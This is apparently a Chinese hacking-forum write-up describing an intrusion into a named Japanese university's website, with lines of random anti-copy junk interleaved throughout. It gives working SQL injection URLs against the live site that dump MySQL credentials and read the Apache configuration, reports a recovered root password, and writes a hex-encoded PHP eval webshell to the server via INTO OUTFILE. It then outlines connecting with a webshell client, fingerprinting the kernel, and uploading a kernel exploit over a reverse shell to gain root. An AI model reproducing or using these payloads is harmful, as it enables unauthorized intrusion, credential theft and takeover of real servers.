入侵日本同志社大学技术分析
. g0 @/ \# K. K* G! B8 d
9 {$ _; ]; R) b/ y/ Ehttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
1 M' g# j @, ?) H v* q然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:7 O j4 V7 C1 U6 |
/ {8 O. \8 Z$ ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user% U/ n7 `( Z6 Z
, [" `) I% ^, \8 }
. j7 ]4 T$ j$ z9 s* z0 Y+ [% A# Q
0 L. c; ~. d# q }$ x! D/ d//@@datadir为数据库文件路径 # }% `+ z+ q6 b( m9 J8 Y# h0 G% S
3 X, G# a; X$ a# W" I3 P* h* g5 h! j6 n6 [
//load_file读取网站容器apache的配置文件 - w+ L( Z) B a9 e
% Z# i: O% i6 `! r
: Z8 U3 j1 Y# a% t* _% g" c" }//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 6 M7 s7 m% ^: r/ F* o
复制代码
& B, s6 e T! S2 o2 f
0 _, Z# i( a4 |: b6 X& K9 b, \虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。& o, U& H' F1 Z( Z
l6 F4 u/ [5 }- C( ]1 q& p: V而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。4 C" E$ [8 D% a
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
9 |) P/ S8 t: N* \& t
: Z6 X$ U' t5 r3 z% Y$ l2 w前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
% L" Z6 O1 A/ N1 W如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
1 `3 {. Z- b3 Q4 _
5 t0 `& A, q2 p3 q& q3 b既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/% G2 i ^" V! W: ~1 [8 d
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。, I) j/ ?: N& X" Q! O% t
直接写一句话:
6 I8 m. Q- L. F U
6 J$ ^4 Y F2 Z% Uhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#/ t) {; Y O$ O I6 o1 a$ V+ O% c
0 J' h; }5 Q; H O! K3 a
2 B7 v1 x: M: Z4 k5 D$ K( R) t+ C+ j3 Z# i
//最后的#是为了闭合前面的语句 9 j" v6 S$ B- x7 B7 t0 D
& s- a# t1 H( x7 I3 K& D" p7 J# F, M5 O! Q; c
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
8 o+ u; x& T! Y/ i: Y4 t; n
" l$ D1 s _! r+ r8 o& J
! C( H" p7 T, j1 z3 N* R$ G为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
- ]+ F& P5 y) }' h1 w
6 S" m) Y% p' q
' j7 \" Y) l b V//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
) O5 J, }# }! W; G0 ~2 \
3 A, C j4 L6 E2 W. X M9 V( E5 ]
4 H, m6 n; f$ h# k//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ; C8 V( q" }5 f1 Y
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
$ {. Y, X6 ^/ P5 P& Z6 S% c复制代码 s4 ?6 e7 H, |4 P p
( L J! H; y5 a# {, [HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有, h5 [" w+ n {3 P- Z' E$ P$ }
通过上述注入语句,我们就得到了一句话木马:+ T! C1 l" _' p; u, o
: q* A0 G1 h! r% l2 E6 m
* M( Q. z2 k/ D( L( h! W* d
F1 N+ g- I# [( t
+ B+ K8 l; L' X
, C4 ~2 r' Z, t, z. G' t9 V& ~, Vhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
) e; Q. Y/ P3 G复制代码6 j- G% b7 E5 H
: C1 j: c9 c* b$ @, K2 w用菜刀连接,密码是cmd,如图所示:
% J" C: Q) x' \$ H然后在命令提示行里看了一下,现在的权限是:' V b" r, U: y9 r0 A9 v+ r* L# Q! i
M* }* \9 Y! X8 Y i* S, v1 |6 j& d之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
! T4 r1 O2 w: U4 I$ {0 T$ ^! t好在赋权给这个文件夹不需要root,直接执行赋权语句:9 c8 G+ K% Z! \$ [
6 c2 K* ]6 B' o8 }9 u4 {" d8 n( W, d0 M
. C% n/ J8 [9 z/ S! S, H, ^$ n: K! X# Q
! L+ E* R5 Y3 \; ]/ \% K
5 f% o z) l1 F1 a5 ^8 |
( H" R( y4 e: a( ^: @6 u! c! Dchmod +x /tmp/ $ `' h( P. w" C/ ?: q* C% E
复制代码
& z* {8 C/ l3 L" r+ J# h+ {$ R9 J0 S( L. U, D
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行; i' @2 w/ _# l- ?' k) P
然后就查了一下内核版本:$ }' z4 X3 g: R( w1 D+ J
* x! K! J4 u5 R0 w. Q( Z% X" l' ]5 t ! I: `; X3 T, z/ x
2 e$ x# W+ U: {1 ]* T1 N
+ m% O, f P9 M1 h* p5 E5 y2 @- ~* h
uname-a ! z6 L9 x9 z( O% m
$ v5 B. T2 y$ o$ x* F, E t/ W
7 g5 Q0 _! o7 _+ B/ k//其实lsb_release -a
% ~% _! Y( n8 ?8 C6 s+ ^复制代码
& a+ `- v% T9 s$ o1 d: T: a# a+ g& }4 P0 w J
如图所示:) g# l0 A. {/ u9 i, O6 [4 T. `' T
. I) a3 c- a: Q: o' j内核版本:linux mainz1 2.6.28-194.e158 V$ u! U7 r9 a h3 M
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)% D1 L# P6 m) S6 ?6 h9 P! ]7 u3 L+ f
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹! {1 q; p5 F: ]
( @. V# ?- R) r T | S5 W然后给予执行权限
! R& X' F/ i- d/ @6 w+ X9 F, q* Q' n" ~一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
+ G( v" k8 H0 d" X8 ]9 v h$ _+ z/ i L% V
& H2 D5 j, N% _; h0 L
6 X1 X* |9 j/ b p; U3 p5 Z
% L9 M% i' l. z8 `7 L0 A* c( M0 q- I6 x6 L% G& R U) X
chmod +x /tmp/2.6.18-194
' k& I$ P- O/ @/ n; {& p) a复制代码 然后直接执行!~3 k/ n; A: W& F+ C4 R. s* P
$ Z$ {3 o3 ~. O: R: R! `总结:
2 x0 ~3 D' {( S这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了* a' b* S! G7 q# } m6 t. ^
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root2 O: U# S& s' V6 P
0 D) ]7 [0 }( Z' k( G
|